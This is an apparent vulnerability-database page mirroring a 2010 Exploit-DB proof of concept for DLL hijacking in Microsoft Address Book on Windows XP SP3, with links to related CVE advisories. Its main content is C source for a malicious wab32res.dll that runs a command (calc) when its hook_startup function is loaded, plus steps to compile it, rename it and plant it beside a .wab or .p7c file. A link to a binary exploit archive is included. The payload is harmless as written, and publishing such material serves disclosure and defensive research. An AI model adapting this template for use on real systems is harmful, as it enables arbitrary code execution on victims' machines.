Lucene search
+L

Microsoft Address Book 6.00.2900.5512 - 'wab32res.dll' DLL Hijacking

🗓️ 25 Aug 2010 00:00:00Reported by Beenu AroraType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 48 Views

Microsoft Address Book DLL Hijacking exploit by Beenu Arora for Microsoft Address Book 6.00.2900.5512 on Windows XP SP3, vulnerable extensions: wab, p7

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2010-3143
25 Aug 201000:00
circl
circl
Circl
CVE-2010-3147
25 Aug 201000:00
circl
checkpoint_advisories
Check Point Advisories
Microsoft Windows Address Book Insecure Library Loading (MS10-096; CVE-2010-3147)
14 Dec 201000:00
checkpoint_advisories
cve
CVE
CVE-2010-3143
27 Aug 201018:10
cve
cve
CVE
CVE-2010-3147
27 Aug 201018:10
cve
cvelist
Cvelist
CVE-2010-3143
27 Aug 201018:10
cvelist
cvelist
Cvelist
CVE-2010-3147
27 Aug 201018:10
cvelist
exploitdb
Exploit DB
Microsoft Windows 7 - 'wab32res.dll wab.exe' DLL Hijacking
24 Aug 201000:00
exploitdb
exploitdb
Exploit DB
Microsoft Windows - Contacts 'wab32res.dll' DLL Hijacking
25 Aug 201000:00
exploitdb
euvd
EUVD
EUVD-2010-3143
7 Oct 202500:30
euvd
Rows per page
/*
# Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles, Dinesh Arora , Anirban , Dinesh Arora
# Site : www.beenuarora.com

Exploit Title: Microsoft Address Book DLL Hijacking
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3 , Microsoft Address Book 6.00.2900.5512
Vulnerable extensions: wab , p7c

Compile and rename to wab32res.dll, create a file in the same dir with one
of the following extensions:
.wab,p7c
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14745.zip

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Aug 2010 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 29.3
EPSS0.20766
48